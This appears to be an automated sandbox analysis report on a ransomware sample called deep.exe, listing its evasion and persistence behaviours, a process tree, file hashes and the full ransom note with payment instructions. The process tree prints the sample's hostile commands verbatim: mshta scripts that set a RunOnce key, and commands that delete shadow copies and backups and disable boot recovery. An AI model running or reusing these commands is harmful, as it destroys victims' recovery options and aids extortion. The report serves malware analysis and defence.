Overview

overview

10

Static

static

3

Carpeta Us...ep.exe

windows7-x64

9

Carpeta Us...ep.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/06/2024, 10:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Carpeta Usuarios/Remoto1/Desktop/Facturas/deep.exe
  • Size 4.5MB
  • Sample240611-me3tlstfpm
  • SHA256 9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
defense_evasionevasionexecutionimpactpersistenceransomware

Malware Config

Extracted

Path

  • C:\HOW TO RECOVER ENCRYPTED FILES.TXT

Ransom Note
  • Your files are now encrypted! Your personal identifier: 6A02000000000000FF250E091D92890D80300C0357CAE37CFB2FC61509899636CEC5C64DB7ED75B6E9BBB72E339FBE8B3B65 2936D672DDB66A3CDAF66ACB5A2AAFCDEA350E8EB255A8B623AED28F9A9E1CF6959D1AEBBC714B9E8C69F76C8F9B54465F51 23E4EFAC58C9F5E4ADCB53A755771C20F3BAA1022F52ADCAB9905FB83C7622AC37C30E4A1FF4CA693B03C615E0D03CE26C63 1308847204F0835C6382AAE8EDA253B7D0EF9A4DB308DE93714E393077656957A3B81D0C7007DFCB6A3D2699B70605CF6492 D5AB70AC5594F6DDEF62644CC284C475CC3A40913339CD343F57CBD71C1A9C05A99420011A43342F0D5CD5311AB931A69AE6 5960641A6D74614E390E86317E5D6B0BB79C4B106D24B1E210A66141719EC5E1D99B6AD1E123E103D88B04E17AFE70E38389 A0DE90C356420832AE70FBAD6785FFE49A6869F9B7CEFB03 All your files have been encrypted due to a security problem with your PC. Now you should send us email with your personal identifier. This email will be as confirmation you are ready to pay for decryption key. You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. Contact us using this email address: [email protected] Free decryption as guarantee! Before paying you can send us up to 3 files for free decryption. The total size of files must be less than 10Mb (non archived), and files should not contain valuable information (databases, backups, large excel sheets, etc.). How to obtain Bitcoins? * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price: https://localbitcoins.com/buy_bitcoins * Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
    evasion
  • Renames multiple (2498) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 3 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Control Panel 3 IoCs
    evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe
    "C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe" "C:\Users\Admin\AppData\Roaming\deep.exe"
      2⤵
        PID:4660
      • C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe
        "C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe" runas
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3932
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\Carpeta Usuarios\Remoto1\Desktop\Facturas\deep.exe" "C:\Users\Admin\AppData\Roaming\deep.exe"
          3⤵
            PID:3700
          • C:\Users\Admin\AppData\Roaming\deep.exe
            "C:\Users\Admin\AppData\Roaming\deep.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Sets desktop wallpaper using registry
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Program Files directory
            • Modifies Control Panel
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2644
            • C:\Windows\SysWOW64\mshta.exe
              mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('deep.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\LMeWCFyUXhYBLR',i);}catch(e){}},10);"
              4⤵
                PID:4008
              • C:\Windows\SysWOW64\mshta.exe
                mshta.exe "javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\[OCWF\\UDGZ['));close();"
                4⤵
                • Checks computer location settings
                • Suspicious use of WriteProcessMemory
                PID:4344
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
                  5⤵
                    PID:3240
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c wmic SHADOWCOPY DELETE
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4752
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic SHADOWCOPY DELETE
                      6⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5024
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c vssadmin Delete Shadows /All /Quiet
                    5⤵
                      PID:3204
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                      5⤵
                        PID:4304
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        5⤵
                          PID:2308
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /C NET USE
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3236
                        • C:\Windows\SysWOW64\net.exe
                          NET USE
                          5⤵
                            PID:2308
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c start /max notepad.exe "C:\Users\Admin\HOW TO RECOVER ENCRYPTED FILES.TXT"
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2812
                          • C:\Windows\SysWOW64\notepad.exe
                            notepad.exe "C:\Users\Admin\HOW TO RECOVER ENCRYPTED FILES.TXT"
                            5⤵
                              PID:2144
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('deep.exe');close()}catch(e){}},10);"
                            4⤵
                              PID:3184
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1376

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            HOW TO RECOVER ENCRYPTED FILES.TXT
                            • Path C:\HOW TO RECOVER ENCRYPTED FILES.TXT
                            • Size 2KB
                            • SHA256 867df95365752e9634bb8ff3d12fac58f81edb73f575593d31e3a6d57853ac52
                            • MD5 SHA1 SHA512
                            Submit Download

                            я
                            • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\я
                            • Size 1B
                            • SHA256 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
                            • MD5 SHA1 SHA512
                            Submit Download

                            deep.exe
                            • Path C:\Users\Admin\AppData\Roaming\deep.exe
                            • Size 4.5MB
                            • SHA256 9e54b2b929422550c4b0c48e7423a2796bb3c2c43ff5f1ff4e6ea1ca4e6655bb
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            memory/2020-1-0x0000000077164000-0x0000000077166000-memory.dmp
                            Download

                            memory/2020-3-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2020-2-0x0000000000401000-0x0000000000424000-memory.dmp
                            Download

                            memory/2020-4-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2020-7-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2020-0-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-2602-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-20-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-7545-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-10129-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-14010-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-14965-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/2644-14970-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/3932-13-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/3932-16-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/3932-12-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/3932-10-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download

                            memory/3932-9-0x0000000000400000-0x0000000000B23000-memory.dmp
                            Download